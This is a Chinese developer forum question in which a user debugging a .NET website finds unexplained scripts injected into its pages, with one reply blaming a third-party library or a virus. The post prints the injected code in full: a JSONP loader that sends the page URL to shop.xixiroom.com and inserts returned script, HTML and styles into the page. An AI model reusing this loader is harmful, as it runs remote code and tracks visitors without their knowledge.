sjueshang 2015-12-02 08:24 采纳率: 0%
浏览 1729
已结题

.net网站本地调试,出现这些代码,系统上又没有这些js代码,求助

用HTML查看,被附加了这两个js文件:
src="//hm.baidu.com/hm.js?40f4f46e503a18f9aa5ddaedd2ef5979">
还有:

var _hmt = _hmt || [];(function() {var hm = document.createElement("script");hm.src = "//hm.baidu.com/hm.js?40f4f46e503a18f9aa5ddaedd2ef5979";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();

脚本调试的代码:
jsonp({
url: "http://shop.xixiroom.com/chrome/index", type: "GET", data: {
"type":'main',"url":document.URL,"gll":1
}
, dataType: "jsonp", callback:'callback',success: function (response) {
var my_div = document.createElement("div");
my_div.id = "ad_ccc";
var body = document.getElementsByTagName("body")[0];
body.appendChild(my_div);
var bai=document.createElement('script');
bai.text=response.baidu;
document.getElementById("ad_ccc").appendChild(bai);
var htmlll=document.createElement('div');
htmlll.innerHTML=response.htmlcode;
document.getElementById("ad_ccc").appendChild(htmlll);
var divx=document.createElement('script');
divx.text=response.advert;
document.getElementById("ad_ccc").appendChild(divx);
var htmlll2=document.createElement('div');
htmlll2.innerHTML=response.htmlcode2;
document.getElementById("ad_ccc").appendChild(htmlll2);
var divvv=document.createElement('style');
divvv.innerHTML=response.style;
document.getElementById("ad_ccc").appendChild(divvv);
var htmlll3=document.createElement('div');
htmlll3.innerHTML=response.htmlcode3;
document.getElementById("ad_ccc").appendChild(htmlll3);
}
,fail: function (status) { }
});
function jsonp(options) {
options = options || {};
if (!options.url || !options.callback) {
throw new Error("参数不合法");
}
var callbackName = ('jsonp_' + Math.random()).replace(".", "");
var oHead = document.getElementsByTagName('head')[0];
options.data[options.callback] = callbackName;
var params = formatParams(options.data);
var oS = document.createElement('script');
oHead.appendChild(oS);
window[callbackName] = function (json) {
oHead.removeChild(oS);
clearTimeout(oS.timer);
window[callbackName] = null;
options.success && options.success(json);
};
oS.src = options.url + '?' + params;
if (options.time) {
oS.timer = setTimeout(function () {
window[callbackName] = null;
oHead.removeChild(oS);
options.fail && options.fail({
message: "超时"
});
}
, time);
}

};
function formatParams(data) {
var arr = [];
for (var i in data) {
arr.push(encodeURIComponent(i) + '=' + encodeURIComponent(data[i]));
}
return arr.join('&');
}

  • 写回答

1条回答 默认 最新

  • threenewbee 2016-02-13 22:09
    关注

    要么是你用的某个第三方库引用的,要么就是你的电脑中毒了。

    评论

报告相同问题?

悬赏问题

  • ¥60 版本过低apk如何修改可以兼容新的安卓系统
  • ¥25 由IPR导致的DRIVER_POWER_STATE_FAILURE蓝屏
  • ¥50 有数据,怎么建立模型求影响全要素生产率的因素
  • ¥50 有数据,怎么用matlab求全要素生产率
  • ¥15 TI的insta-spin例程
  • ¥15 完成下列问题完成下列问题
  • ¥15 C#算法问题, 不知道怎么处理这个数据的转换
  • ¥15 YoloV5 第三方库的版本对照问题
  • ¥15 请完成下列相关问题!
  • ¥15 drone 推送镜像时候 purge: true 推送完毕后没有删除对应的镜像,手动拷贝到服务器执行结果正确在样才能让指令自动执行成功删除对应镜像,如何解决?